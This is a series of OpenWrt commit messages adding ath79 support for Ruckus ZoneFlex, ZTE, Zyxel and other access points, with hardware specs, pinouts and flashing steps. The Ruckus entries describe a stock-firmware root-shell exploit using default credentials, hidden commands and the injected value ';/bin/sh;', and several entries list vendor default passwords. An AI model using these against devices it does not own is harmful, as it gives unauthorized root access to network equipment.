do not need the bits for delay on the MAC side.
This is possible due to fixes in at803x driver
since Linux 5.1 and 5.3
**Note on WatchGuard Magic string:**
The OEM upgrade script is a modified version of
the generic Senao sysupgrade script
which is used on EnGenius devices.
On WatchGuard boards produced by Senao,
images are verified using a md5sum checksum of
the upgrade image concatenated with a magic string.
this checksum is then appended to the end of the final image.
This variable does not apply to all the senao devices
so set to null string as default
Tested-by: Alessandro Kornowski <ak@wski.org>
Tested-by: John Wagner <john@wagner.us.org>
Signed-off-by: Michael Pratt <mcpratt@pm.me>
after some trial and error, it was discovered
that by setting TX only delay on the AR8035 PHY
that setting GMAC registers is no longer necessary.
Signed-off-by: Michael Pratt <mcpratt@pm.me>
Other vendors can use this DTSI, for example, WatchGuard
there are likely several brands that use the same board design
because of outsourcing hardware from Senao.
For example, Watchguard AP300
has the same hardware as Engenius EAP600
so we use ar9344_engenius_exx600.dtsi for that
Signed-off-by: Michael Pratt <mcpratt@pm.me>
Ruckus ZoneFlex 7321 is a dual-band, single radio 802.11n 2x2 MIMO enterprise
access point. It is very similar to its bigger brother, ZoneFlex 7372.
Hardware highligts:
- CPU: Atheros AR9342 SoC at 533 MHz
- RAM: 64MB DDR2
- Flash: 32MB SPI-NOR
- Wi-Fi: AR9342 built-in dual-band 2x2 MIMO radio
- Ethernet: single Gigabit Ethernet port through AR8035 gigabit PHY
- PoE: input through Gigabit port
- Standalone 12V/1A power input
- USB: optional single USB 2.0 host port on the 7321-U variant.
Serial console: 115200-8-N-1 on internal H1 header.
Pinout:
H1 ----------
|1|x3|4|5|
----------
Pin 1 is near the "H1" marking.
1 - RX
x - no pin
3 - VCC (3.3V)
4 - GND
5 - TX
JTAG: Connector H5, unpopulated, similar to MIPS eJTAG, standard,
but without the key in pin 12 and not every pin routed:
------- H5
|1 |2 |
-------
|3 |4 |
-------
|5 |6 |
-------
|7 |8 |
-------
|9 |10|
-------
|11|12|
-------
|13|14|
-------
3 - TDI
5 - TDO
7 - TMS
9 - TCK
2,4,6,8,10 - GND
14 - Vref
1,11,12,13 - Not connected
Installation:
There are two methods of installation:
- Using serial console [1] - requires some disassembly, 3.3V USB-Serial
adapter, TFTP server, and removing a single T10 screw,
but with much less manual steps, and is generally recommended, being
safer.
- Using stock firmware root shell exploit, SSH and TFTP [2]. Does not
work on some rare versions of stock firmware. A more involved, and
requires installing `mkenvimage` from u-boot-tools package if you
choose to rebuild your own environment, but can be used without
disassembly or removal from installation point, if you have the
credentials.
If for some reason, size of your sysupgrade image exceeds 13312kB,
proceed with method [1]. For official images this is not likely to
happen ever.
[1] Using serial console:
0. Connect serial console to H1 header. Ensure the serial converter
does not back-power the board, otherwise it will fail to boot.
1. Power-on the board. Then quickly connect serial converter to PC and
hit Ctrl+C in the terminal to break boot sequence. If you're lucky,
you'll enter U-boot shell. Then skip to point 3.
Connection parameters are 115200-8-N-1.
2. Allow the board to boot. Press the reset button, so the board
reboots into U-boot again and go back to point 1.
3. Set the "bootcmd" variable to disable the dual-boot feature of the
system and ensure that uImage is loaded. This is critical step, and
needs to be done only on initial installation.
> setenv bootcmd "bootm 0x9f040000"
> saveenv
4. Boot the OpenWrt initramfs using TFTP. Replace IP addresses as needed:
> setenv serverip 192.168.1.2
> setenv ipaddr 192.168.1.1
> tftpboot 0x81000000 openwrt-ath79-generic-ruckus_zf7321-initramfs-kernel.bin
> bootm 0x81000000
5. Optional, but highly recommended: back up contents of "firmware" partition:
$ ssh root@192.168.1.1 cat /dev/mtd1 > ruckus_zf7321_fw1_backup.bin
$ ssh root@192.168.1.1 cat /dev/mtd5 > ruckus_zf7321_fw2_backup.bin
6. Copy over sysupgrade image, and perform actual installation. OpenWrt
shall boot from flash afterwards:
$ ssh root@192.168.1.1
# sysupgrade -n openwrt-ath79-generic-ruckus_zf7321-squashfs-sysupgrade.bin
[2] Using stock root shell:
0. Reset the device to factory defaullts. Power-on the device and after
it boots, hold the reset button near Ethernet connectors for 5
seconds.
1. Connect the device to the network. It will acquire address over DHCP,
so either find its address using list of DHCP leases by looking for
label MAC address, or try finding it by scanning for SSH port:
$ nmap 10.42.0.0/24 -p22
From now on, we assume your computer has address 10.42.0.1 and the device
has address 10.42.0.254.
2. Set up a TFTP server on your computer. We assume that TFTP server
root is at /srv/tftp.
3. Obtain root shell. Connect to the device over SSH. The SSHD ond the
frmware is pretty ancient and requires enabling HMAC-MD5.
$ ssh 10.42.0.254 \
-o UserKnownHostsFile=/dev/null \
-o StrictHostKeyCheking=no \
-o MACs=hmac-md5
Login. User is "super", password is "sp-admin".
Now execute a hidden command:
Ruckus
It is case-sensitive. Copy and paste the following string,
including quotes. There will be no output on the console for that.
";/bin/sh;"
Hit "enter". The AP will respond with:
grrrr
OK
Now execute another hidden command:
!v54!
At "What's your chow?" prompt just hit "enter".
Congratulations, you should now be dropped to Busybox shell with root
permissions.
4. Optional, but highly recommended: backup the flash contents before
installation. At your PC ensure the device can write the firmware
over TFTP:
$ sudo touch /srv/tftp/ruckus_zf7321_firmware{1,2}.bin
$ sudo chmod 666 /srv/tftp/ruckus_zf7321_firmware{1,2}.bin
Locate partitions for primary and secondary firmware image.
NEVER blindly copy over MTD nodes, because MTD indices change
depending on the currently active firmware, and all partitions are
writable!
# grep rcks_wlan /proc/mtd
Copy over both images using TFTP, this will be useful in case you'd
like to return to stock FW in future. Make sure to backup both, as
OpenWrt uses bot firmwre partitions for storage!
# tftp -l /dev/<rcks_wlan.main_mtd> -r ruckus_zf7321_firmware1.bin -p 10.42.0.1
# tftp -l /dev/<rcks_wlan.bkup_mtd> -r ruckus_zf7321_firmware2.bin -p 10.42.0.1
When the command finishes, copy over the dump to a safe place for
storage.
$ cp /srv/tftp/ruckus_zf7321_firmware{1,2}.bin ~/
5. Ensure the system is running from the BACKUP image, i.e. from
rcks_wlan.bkup partition or "image 2". Otherwise the installation
WILL fail, and you will need to access mtd0 device to write image
which risks overwriting the bootloader, and so is not covered here
and not supported.
Switching to backup firmware can be achieved by executing a few
consecutive reboots of the device, or by updating the stock firmware. The
system will boot from the image it was not running from previously.
Stock firmware available to update was conveniently dumped in point 4 :-)
6. Prepare U-boot environment image.
Install u-boot-tools package. Alternatively, if you build your own
images, OpenWrt provides mkenvimage in host staging directory as well.
It is recommended to extract environment from the device, and modify
it, rather then relying on defaults:
$ sudo touch /srv/tftp/u-boot-env.bin
$ sudo chmod 666 /srv/tftp/u-boot-env.bin
On the device, find the MTD partition on which environment resides.
Beware, it may change depending on currently active firmware image!
# grep u-boot-env /proc/mtd
Now, copy over the partition
# tftp -l /dev/mtd<N> -r u-boot-env.bin -p 10.42.0.1
Store the stock environment in a safe place:
$ cp /srv/tftp/u-boot-env.bin ~/
Extract the values from the dump:
$ strings u-boot-env.bin | tee u-boot-env.txt
Now clean up the debris at the end of output, you should end up with
each variable defined once. After that, set the bootcmd variable like
this:
bootcmd=bootm 0x9f040000
You should end up with something like this:
bootcmd=bootm 0x9f040000
bootargs=console=ttyS0,115200 rootfstype=squashfs init=/sbin/init
baudrate=115200
ethaddr=0x00:0xaa:0xbb:0xcc:0xdd:0xee
mtdparts=mtdparts=ar7100-nor0:256k(u-boot),13312k(rcks_wlan.main),2048k(datafs),256k(u-boot-env),512k(Board Data),13312k(rcks_wlan.bkup)
mtdids=nor0=ar7100-nor0
bootdelay=2
ethact=eth0
filesize=78a000
fileaddr=81000000
partition=nor0,0
mtddevnum=0
mtddevname=u-boot
ipaddr=10.0.0.1
serverip=10.0.0.5
stdin=serial
stdout=serial
stderr=serial
These are the defaults, you can use most likely just this as input to
mkenvimage.
Now, create environment image and copy it over to TFTP root:
$ mkenvimage -s 0x40000 -b -o u-boot-env.bin u-boot-env.txt
$ sudo cp u-boot-env.bin /srv/tftp
This is the same image, gzipped and base64-encoded:
H4sIAAAAAAAAA+3QQW7TQBQAUF8EKRtQI6XtJDS0VJoN4gYcAE3iCbWS2MF2Sss1ORDYqVq6YMEB3rP0
Z/7Yf+aP3/56827VNP16X8Zx3E/Cw8dNuAqDYlxI7bcurpu6a3Y59v3jlzCbz5eLECbt8HbT9Y+HHLvv
x9TdbbpJVVd9vOxWVX05TotVOpZt6nN8qilyf5fKso3hIYTb8JDSEFarIazXQyjLIeRc7PvykNq+iy+T
1F7PQzivmzbcLpYftmfH87G56Wz+/v18sT1r19vu649dqi/2qaqns0W4utmelalPm27I/lac5/p+OluO
NZ+a1JaTz8M3/9hmtT0epmMjVdnF8djXLZx+TJl36TEuTlda93EYQrGpdrmrfuZ4fZPGHzjmp/vezMNJ
MV6n6qumPm06C+MRZb6vj/v4Mk/7HJ+6LarDqXweLsZnXnS5vc9tdXheWRbd0GIdh/Uq7cakOfavsty2
z1nxGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAD+1x9eTkHLAAAEAA==
7. Perform actual installation. Copy over OpenWrt sysupgrade image to
TFTP root:
$ sudo cp openwrt-ath79-generic-ruckus_zf7321-squashfs-sysupgrade.bin /srv/tftp
Now load both to the device over TFTP:
# tftp -l /tmp/u-boot-env.bin -r u-boot-env.bin -g 10.42.0.1
# tftp -l /tmp/openwrt.bin -r openwrt-ath79-generic-ruckus_zf7321-squashfs-sysupgrade.bin -g 10.42.0.1
Vverify checksums of both images to ensure the transfer over TFTP
was completed:
# sha256sum /tmp/u-boot-env.bin /tmp/openwrt.bin
And compare it against source images:
$ sha256sum /srv/tftp/u-boot-env.bin /srv/tftp/openwrt-ath79-generic-ruckus_zf7321-squashfs-sysupgrade.bin
Locate MTD partition of the primary image:
# grep rcks_wlan.main /proc/mtd
Now, write the images in place. Write U-boot environment last, so
unit still can boot from backup image, should power failure occur during
this. Replace MTD placeholders with real MTD nodes:
# flashcp /tmp/openwrt.bin /dev/<rcks_wlan.main_mtd>
# flashcp /tmp/u-boot-env.bin /dev/<u-boot-env_mtd>
Finally, reboot the device. The device should directly boot into
OpenWrt. Look for the characteristic power LED blinking pattern.
# reboot -f
After unit boots, it should be available at the usual 192.168.1.1/24.
Return to factory firmware:
1. Boot into OpenWrt initramfs as for initial installation. To do that
without disassembly, you can write an initramfs image to the device
using 'sysupgrade -F' first.
2. Unset the "bootcmd" variable:
fw_setenv bootcmd ""
3. Write factory images downloaded from manufacturer website into
fwconcat0 and fwconcat1 MTD partitions, or restore backup you took
before installation:
mtd write ruckus_zf7321_fw1_backup.bin /dev/mtd1
mtd write ruckus_zf7321_fw2_backup.bin /dev/mtd5
4. Reboot the system, it should load into factory firmware again.
Quirks and known issues:
- Flash layout is changed from the factory, to use both firmware image
partitions for storage using mtd-concat, and uImage format is used to
actually boot the system, which rules out the dual-boot capability.
- The 5GHz radio has its own EEPROM on board, not connected to CPU.
- The stock firmware has dual-boot capability, which is not supported in
OpenWrt by choice.
It is controlled by data in the top 64kB of RAM which is unmapped,
to avoid the interference in the boot process and accidental
switch to the inactive image, although boot script presence in
form of "bootcmd" variable should prevent this entirely.
- U-boot disables JTAG when starting. To re-enable it, you need to
execute the following command before booting:
mw.l 1804006c 40
And also you need to disable the reset button in device tree if you
intend to debug Linux, because reset button on GPIO0 shares the TCK
pin.
- On some versions of stock firmware, it is possible to obtain root shell,
however not much is available in terms of debugging facitilies.
1. Login to the rkscli
2. Execute hidden command "Ruckus"
3. Copy and paste ";/bin/sh;" including quotes. This is required only
once, the payload will be stored in writable filesystem.
4. Execute hidden command "!v54!". Press Enter leaving empty reply for
"What's your chow?" prompt.
5. Busybox shell shall open.
Source: https://alephsecurity.com/vulns/aleph-2019014
Signed-off-by: Lech Perczak <lech.perczak@gmail.com>
Ruckus ZoneFlex 7372 is a dual-band, dual-radio 802.11n 2x2 MIMO enterprise
access point.
Ruckus ZoneFlex 7352 is also supported, lacking the 5GHz radio part.
Hardware highligts:
- CPU: Atheros AR9344 SoC at 560 MHz
- RAM: 128MB DDR2
- Flash: 32MB SPI-NOR
- Wi-Fi 2.4GHz: AR9344 built-in 2x2 MIMO radio
- Wi-Fi 5Ghz: AR9582 2x2 MIMO radio (Only in ZF7372)
- Antennas:
- Separate internal active antennas with beamforming support on both
bands with 7 elements per band, each controlled by 74LV164 GPIO
expanders, attached to GPIOs of each radio.
- Two dual-band external RP-SMA antenna connections on "7372-E"
variant.
- Ethernet 1: single Gigabit Ethernet port through AR8035 gigabit PHY
- Ethernet 2: single Fast Ethernet port through AR9344 built-in switch
- PoE: input through Gigabit port
- Standalone 12V/1A power input
- USB: optional single USB 2.0 host port on "-U" variants.
The same image should support:
- ZoneFlex 7372E (variant with external antennas, without beamforming
capability)
- ZoneFlex 7352 (single-band, 2.4GHz-only variant).
which are based on same baseboard (codename St. Bernard),
with different populated components.
Serial console: 115200-8-N-1 on internal H1 header.
Pinout:
H1
---
|5|
---
|4|
---
|3|
---
|x|
---
|1|
---
Pin 5 is near the "H1" marking.
1 - RX
x - no pin
3 - VCC (3.3V)
4 - GND
5 - TX
JTAG: Connector H2, similar to MIPS eJTAG, standard,
but without the key in pin 12 and not every pin routed:
------- H2
|1 |2 |
-------
|3 |4 |
-------
|5 |6 |
-------
|7 |8 |
-------
|9 |10|
-------
|11|12|
-------
|13|14|
-------
3 - TDI
5 - TDO
7 - TMS
9 - TCK
2,4,6,8,10 - GND
14 - Vref
1,11,12,13 - Not connected
Installation:
There are two methods of installation:
- Using serial console [1] - requires some disassembly, 3.3V USB-Serial
adapter, TFTP server, and removing a single T10 screw,
but with much less manual steps, and is generally recommended, being
safer.
- Using stock firmware root shell exploit, SSH and TFTP [2]. Does not
work on some rare versions of stock firmware. A more involved, and
requires installing `mkenvimage` from u-boot-tools package if you
choose to rebuild your own environment, but can be used without
disassembly or removal from installation point, if you have the
credentials.
If for some reason, size of your sysupgrade image exceeds 13312kB,
proceed with method [1]. For official images this is not likely to
happen ever.
[1] Using serial console:
0. Connect serial console to H1 header. Ensure the serial converter
does not back-power the board, otherwise it will fail to boot.
1. Power-on the board. Then quickly connect serial converter to PC and
hit Ctrl+C in the terminal to break boot sequence. If you're lucky,
you'll enter U-boot shell. Then skip to point 3.
Connection parameters are 115200-8-N-1.
2. Allow the board to boot. Press the reset button, so the board
reboots into U-boot again and go back to point 1.
3. Set the "bootcmd" variable to disable the dual-boot feature of the
system and ensure that uImage is loaded. This is critical step, and
needs to be done only on initial installation.
> setenv bootcmd "bootm 0x9f040000"
> saveenv
4. Boot the OpenWrt initramfs using TFTP. Replace IP addresses as needed:
> setenv serverip 192.168.1.2
> setenv ipaddr 192.168.1.1
> tftpboot 0x81000000 openwrt-ath79-generic-ruckus_zf7372-initramfs-kernel.bin
> bootm 0x81000000
5. Optional, but highly recommended: back up contents of "firmware" partition:
$ ssh root@192.168.1.1 cat /dev/mtd1 > ruckus_zf7372_fw1_backup.bin
$ ssh root@192.168.1.1 cat /dev/mtd5 > ruckus_zf7372_fw2_backup.bin
6. Copy over sysupgrade image, and perform actual installation. OpenWrt
shall boot from flash afterwards:
$ ssh root@192.168.1.1
# sysupgrade -n openwrt-ath79-generic-ruckus_zf7372-squashfs-sysupgrade.bin
[2] Using stock root shell:
0. Reset the device to factory defaullts. Power-on the device and after
it boots, hold the reset button near Ethernet connectors for 5
seconds.
1. Connect the device to the network. It will acquire address over DHCP,
so either find its address using list of DHCP leases by looking for
label MAC address, or try finding it by scanning for SSH port:
$ nmap 10.42.0.0/24 -p22
From now on, we assume your computer has address 10.42.0.1 and the device
has address 10.42.0.254.
2. Set up a TFTP server on your computer. We assume that TFTP server
root is at /srv/tftp.
3. Obtain root shell. Connect to the device over SSH. The SSHD ond the
frmware is pretty ancient and requires enabling HMAC-MD5.
$ ssh 10.42.0.254 \
-o UserKnownHostsFile=/dev/null \
-o StrictHostKeyCheking=no \
-o MACs=hmac-md5
Login. User is "super", password is "sp-admin".
Now execute a hidden command:
Ruckus
It is case-sensitive. Copy and paste the following string,
including quotes. There will be no output on the console for that.
";/bin/sh;"
Hit "enter". The AP will respond with:
grrrr
OK
Now execute another hidden command:
!v54!
At "What's your chow?" prompt just hit "enter".
Congratulations, you should now be dropped to Busybox shell with root
permissions.
4. Optional, but highly recommended: backup the flash contents before
installation. At your PC ensure the device can write the firmware
over TFTP:
$ sudo touch /srv/tftp/ruckus_zf7372_firmware{1,2}.bin
$ sudo chmod 666 /srv/tftp/ruckus_zf7372_firmware{1,2}.bin
Locate partitions for primary and secondary firmware image.
NEVER blindly copy over MTD nodes, because MTD indices change
depending on the currently active firmware, and all partitions are
writable!
# grep rcks_wlan /proc/mtd
Copy over both images using TFTP, this will be useful in case you'd
like to return to stock FW in future. Make sure to backup both, as
OpenWrt uses bot firmwre partitions for storage!
# tftp -l /dev/<rcks_wlan.main_mtd> -r ruckus_zf7372_firmware1.bin -p 10.42.0.1
# tftp -l /dev/<rcks_wlan.bkup_mtd> -r ruckus_zf7372_firmware2.bin -p 10.42.0.1
When the command finishes, copy over the dump to a safe place for
storage.
$ cp /srv/tftp/ruckus_zf7372_firmware{1,2}.bin ~/
5. Ensure the system is running from the BACKUP image, i.e. from
rcks_wlan.bkup partition or "image 2". Otherwise the installation
WILL fail, and you will need to access mtd0 device to write image
which risks overwriting the bootloader, and so is not covered here
and not supported.
Switching to backup firmware can be achieved by executing a few
consecutive reboots of the device, or by updating the stock firmware. The
system will boot from the image it was not running from previously.
Stock firmware available to update was conveniently dumped in point 4 :-)
6. Prepare U-boot environment image.
Install u-boot-tools package. Alternatively, if you build your own
images, OpenWrt provides mkenvimage in host staging directory as well.
It is recommended to extract environment from the device, and modify
it, rather then relying on defaults:
$ sudo touch /srv/tftp/u-boot-env.bin
$ sudo chmod 666 /srv/tftp/u-boot-env.bin
On the device, find the MTD partition on which environment resides.
Beware, it may change depending on currently active firmware image!
# grep u-boot-env /proc/mtd
Now, copy over the partition
# tftp -l /dev/mtd<N> -r u-boot-env.bin -p 10.42.0.1
Store the stock environment in a safe place:
$ cp /srv/tftp/u-boot-env.bin ~/
Extract the values from the dump:
$ strings u-boot-env.bin | tee u-boot-env.txt
Now clean up the debris at the end of output, you should end up with
each variable defined once. After that, set the bootcmd variable like
this:
bootcmd=bootm 0x9f040000
You should end up with something like this:
bootcmd=bootm 0x9f040000
bootargs=console=ttyS0,115200 rootfstype=squashfs init=/sbin/init
baudrate=115200
ethaddr=0x00:0xaa:0xbb:0xcc:0xdd:0xee
bootdelay=2
mtdids=nor0=ar7100-nor0
mtdparts=mtdparts=ar7100-nor0:256k(u-boot),13312k(rcks_wlan.main),2048k(datafs),256k(u-boot-env),512k(Board Data),13312k(rcks_wlan.bkup)
ethact=eth0
filesize=1000000
fileaddr=81000000
ipaddr=192.168.0.7
serverip=192.168.0.51
partition=nor0,0
mtddevnum=0
mtddevname=u-boot
stdin=serial
stdout=serial
stderr=serial
These are the defaults, you can use most likely just this as input to
mkenvimage.
Now, create environment image and copy it over to TFTP root:
$ mkenvimage -s 0x40000 -b -o u-boot-env.bin u-boot-env.txt
$ sudo cp u-boot-env.bin /srv/tftp
This is the same image, gzipped and base64-encoded:
H4sIAAAAAAAAA+3QTW7TQBQAYB+AQ2TZSGk6Tpv+SbNBrNhyADSJHWolsYPtlJaDcAWOCXaqQhdIXOD7
Fm/ee+MZ+/nHu58fV03Tr/dFHNf9JDzdbcJVGGRjI7Vfurhu6q7ZlbHvnz+FWZ4vFyFM2mF30/XPhzJ2
X4+pe9h0k6qu+njRrar6YkyzVToWberL+HImK/uHVBRtDE8h3IenlIawWg1hvR5CUQyhLE/vLcpdeo6L
bN8XVdHFumlDTO1NHsL5mI/9Q2r7Lv5J3uzeL5bX27Pj+XjRdJZfXuaL7Vm73nafv+1SPd+nqp7OFuHq
dntWpD5tuqH6e+K8rB+ns+V45n2T2mLyYXjmH9estsfD9DTSuo/DErJNtSu76vswbjg5NU4D3752qsOp
zu8W8/z6dh7mN1lXto9lWx3eNJd5Ng5V9VVTn2afnSYuysf6uI9/8rQv48s3Z93wn+o4XFWl3Vg0x/5N
Vbbta5X9AgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAID/+Q2Z/B7cAAAEAA==
7. Perform actual installation. Copy over OpenWrt sysupgrade image to
TFTP root:
$ sudo cp openwrt-ath79-generic-ruckus_zf7372-squashfs-sysupgrade.bin /srv/tftp
Now load both to the device over TFTP:
# tftp -l /tmp/u-boot-env.bin -r u-boot-env.bin -g 10.42.0.1
# tftp -l /tmp/openwrt.bin -r openwrt-ath79-generic-ruckus_zf7372-squashfs-sysupgrade.bin -g 10.42.0.1
Verify checksums of both images to ensure the transfer over TFTP
was completed:
# sha256sum /tmp/u-boot-env.bin /tmp/openwrt.bin
And compare it against source images:
$ sha256sum /srv/tftp/u-boot-env.bin /srv/tftp/openwrt-ath79-generic-ruckus_zf7372-squashfs-sysupgrade.bin
Locate MTD partition of the primary image:
# grep rcks_wlan.main /proc/mtd
Now, write the images in place. Write U-boot environment last, so
unit still can boot from backup image, should power failure occur during
this. Replace MTD placeholders with real MTD nodes:
# flashcp /tmp/openwrt.bin /dev/<rcks_wlan.main_mtd>
# flashcp /tmp/u-boot-env.bin /dev/<u-boot-env_mtd>
Finally, reboot the device. The device should directly boot into
OpenWrt. Look for the characteristic power LED blinking pattern.
# reboot -f
After unit boots, it should be available at the usual 192.168.1.1/24.
Return to factory firmware:
1. Boot into OpenWrt initramfs as for initial installation. To do that
without disassembly, you can write an initramfs image to the device
using 'sysupgrade -F' first.
2. Unset the "bootcmd" variable:
fw_setenv bootcmd ""
3. Write factory images downloaded from manufacturer website into
fwconcat0 and fwconcat1 MTD partitions, or restore backup you took
before installation:
mtd write ruckus_zf7372_fw1_backup.bin /dev/mtd1
mtd write ruckus_zf7372_fw2_backup.bin /dev/mtd5
4. Reboot the system, it should load into factory firmware again.
Quirks and known issues:
- This is first device in ath79 target to support link state reporting
on FE port attached trough the built-in switch.
- Flash layout is changed from the factory, to use both firmware image
partitions for storage using mtd-concat, and uImage format is used to
actually boot the system, which rules out the dual-boot capability.
The 5GHz radio has its own EEPROM on board, not connected to CPU.
- The stock firmware has dual-boot capability, which is not supported in
OpenWrt by choice.
It is controlled by data in the top 64kB of RAM which is unmapped,
to avoid the interference in the boot process and accidental
switch to the inactive image, although boot script presence in
form of "bootcmd" variable should prevent this entirely.
- U-boot disables JTAG when starting. To re-enable it, you need to
execute the following command before booting:
mw.l 1804006c 40
And also you need to disable the reset button in device tree if you
intend to debug Linux, because reset button on GPIO0 shares the TCK
pin.
- On some versions of stock firmware, it is possible to obtain root shell,
however not much is available in terms of debugging facitilies.
1. Login to the rkscli
2. Execute hidden command "Ruckus"
3. Copy and paste ";/bin/sh;" including quotes. This is required only
once, the payload will be stored in writable filesystem.
4. Execute hidden command "!v54!". Press Enter leaving empty reply for
"What's your chow?" prompt.
5. Busybox shell shall open.
Source: https://alephsecurity.com/vulns/aleph-2019014
- Stock firmware has beamforming functionality, known as BeamFlex,
using active multi-segment antennas on both bands - controlled by
RF analog switches, driven by a pair of 74LV164 shift registers.
Shift registers used for each radio are connected to GPIO14 (clock)
and GPIO15 of the respective chip.
They are mapped as generic GPIOs in OpenWrt - in stock firmware,
they were most likely handled directly by radio firmware,
given the real-time nature of their control.
Lack of this support in OpenWrt causes the antennas to behave as
ordinary omnidirectional antennas, and does not affect throughput in
normal conditions, but GPIOs are available to tinker with nonetheless.
Signed-off-by: Lech Perczak <lech.perczak@gmail.com>
Return to using the OpenWrt kernel loader to decompress and load kernel
initram image.
Continue to use the vmlinuz kernel for squashfs.
Mikrotik's bootloader RouterBOOT on some ath79 devices is
failing to boot the current initram, due to the size of the initram image.
On the ath79 wAP-ac:
a 5.7MiB initram image would fail to boot
After this change:
a 6.6MiB initram image successfully loads
This partially reverts commit e91344776b.
An alternative of using RouterBOOT's capability of loading an initrd ELF
section was investigated, but the OpenWrt kernel loader allows larger image.
Signed-off-by: John Thomson <git@johnthomson.fastmail.com.au>
Add support for the ZTE MF281 battery-powered WiFi router.
Hardware
--------
SoC: Qualcomm Atheros QCA9563
RAM: 128M DDR2
FLASH: 2M SPI-NOR (GigaDevice GD25Q16)
128M SPI-NAND (GigaDevice)
WLAN: QCA9563 2T2R 802.11 abgn
QCA9886 2T2R 802.11 nac
WWAN: ASRMicro ASR1826
ETH: Qualcomm Atheros QCA8337
UART: 115200 8n1
Unpopulated connector next to SIM slot
(SIM) GND - RX - TX - 3V3
Don't connect 3V3
BUTTON: Reset - WPS
LED: 1x debug-LED (internal)
LEDs on front of the device are controlled
using the modem CPU and can not be controlled
by OpenWrt
Installation
------------
1. Connect to the serial console. Power up the device and interrupt
autoboot when prompted
2. Connect a TFTP server reachable at 192.168.1.66 to the ethernet port.
Serve the OpenWrt initramfs image as "speedbox-2.bin"
3. Boot the initramfs image using U-Boot
$ setenv serverip 192.168.1.66
$ setenv ipaddr 192.168.1.154
$ tftpboot 0x84000000 speedbox-2.bin
$ bootm
4. Copy the OpenWrt factory image to the device using scp and write to
the NAND flash
$ mtd write /path/to/openwrt/factory.bin firmware
WWAN
----
The WWAN card can be used with OpenWrt. Example configuration for
connection with a unauthenticated dual-stack APN:
network.lte=interface
network.lte.proto='ncm'
network.lte.device='/dev/ttyACM0'
network.lte.pdptype='IPV4V6'
network.lte.apn='internet.telekom'
network.lte.ipv6='auto'
network.lte.delay='10'
The WWAN card is running a modified version of OpenWrt and handles
power-management as well as the LED controller (AW9523). A root shell
can be acquired by installing adb using opkg and executing "adb shell".
Signed-off-by: David Bauer <mail@david-bauer.net>
All subtargets are using now 5.15 as testing kernel.
Move KERNEL_TESTING_PATCHVER:=5.15 to the common Makefile.
Signed-off-by: Nick Hainke <vincent@systemli.org>
Devices with SMALL_FLASH enabled have "SQUASHFS_BLOCK_SIZE=1024" in
their config. This significantly increases the cache memory required by
squashfs [0]. This commit enables low_mem leading to a much better
performance because the SQUASHFS_BLOCK_SIZE is reduced to 256.
Example Nanostation M5 (XM):
The image size increases by 128 KiB. However, the memory statisitcs look
much better:
Default tiny build:
------
MemTotal: 26020 kB
MemFree: 5648 kB
MemAvailable: 6112 kB
Buffers: 0 kB
Cached: 3044 kB
low_mem enabled:
-----
MemTotal: 26976 kB
MemFree: 6748 kB
MemAvailable: 11504 kB
Buffers: 0 kB
Cached: 7204 kB
[0] - 7e8af99cf5
Signed-off-by: Nick Hainke <vincent@systemli.org>
Specifications:
- SoC: Qualcomm Atheros QCA9557-AT4A
- RAM: 2x 128MB Nanya NT5TU64M16HG
- FLASH: 64MB - SPANSION FL512SAIFG1
- LAN: Atheros AR8035-A (RGMII GbE with PoE+ IN)
- WLAN2: Qualcomm Atheros QCA9557 2x2 2T2R
- WLAN5: Qualcomm Atheros QCA9882-BR4A 2x2 2T2R
- SERIAL: UART pins at J10 (115200 8n1)
Pinout is 3.3V - GND - TX - RX (Arrow Pad is 3.3V)
- LEDs: Power (Green/Amber)
WiFi 5 (Green)
WiFi 2 (Green)
- BTN: Reset
Installation:
1. Download the OpenWrt initramfs-image.
Place it into a TFTP server root directory and rename it to 1D01A8C0.img
Configure the TFTP server to listen at 192.168.1.66/24.
2. Connect the TFTP server to the access point.
3. Connect to the serial console of the access point.
Attach power and interrupt the boot procedure when prompted.
Credentials are admin / new2day
4. Configure U-Boot for booting OpenWrt from ram and flash:
$ setenv boot_openwrt 'setenv bootargs; bootm 0xa1280000'
$ setenv ramboot_openwrt 'setenv serverip 192.168.1.66;
tftpboot 0x89000000 1D01A8C0.img; bootm'
$ setenv bootcmd 'run boot_openwrt'
$ saveenv
5. Load OpenWrt into memory:
$ run ramboot_openwrt
6. Transfer the OpenWrt sysupgrade image to the device.
Write the image to flash using sysupgrade:
$ sysupgrade -n /path/to/openwrt-sysupgrade.bin
Signed-off-by: Albin Hellström <albin.hellstrom@gmail.com>
[rename vendor - minor style fixes - update commit message]
Signed-off-by: David Bauer <mail@david-bauer.net>
Specifications:
* AR9342, 16 MiB Flash, 64 MiB RAM, 802.11n 2T2R, 2.4 GHz
* 1x Gigabit Ethernet (AR8035), 802.3af PoE
Installation:
* OEM Web UI is at 192.168.1.2
login as `admin` with password `1234`
* Flash factory-AASI.bin
The string `AASI` needs to be present within the file name of the uploaded
image to be accepted by the OEM Web-based updater, the factory image is
named accordingly to save the user from the hassle of manual renaming.
TFTP Recovery:
* Open the case, connect to TTL UART port (this is the official method
described by Zyxel, the reset button is useless during power-on)
* Extract factory image (.tar.bz2), serve `vmlinux_mi124_f1e.lzma.uImage`
and `mi124_f1e-jffs2` via tftp at 192.168.1.10
* Interrupt uboot countdown, execute commands
`run lk`
`run lf`
to flash the kernel / filesystem accordingly
MAC addresses as verified by OEM firmware:
use address source
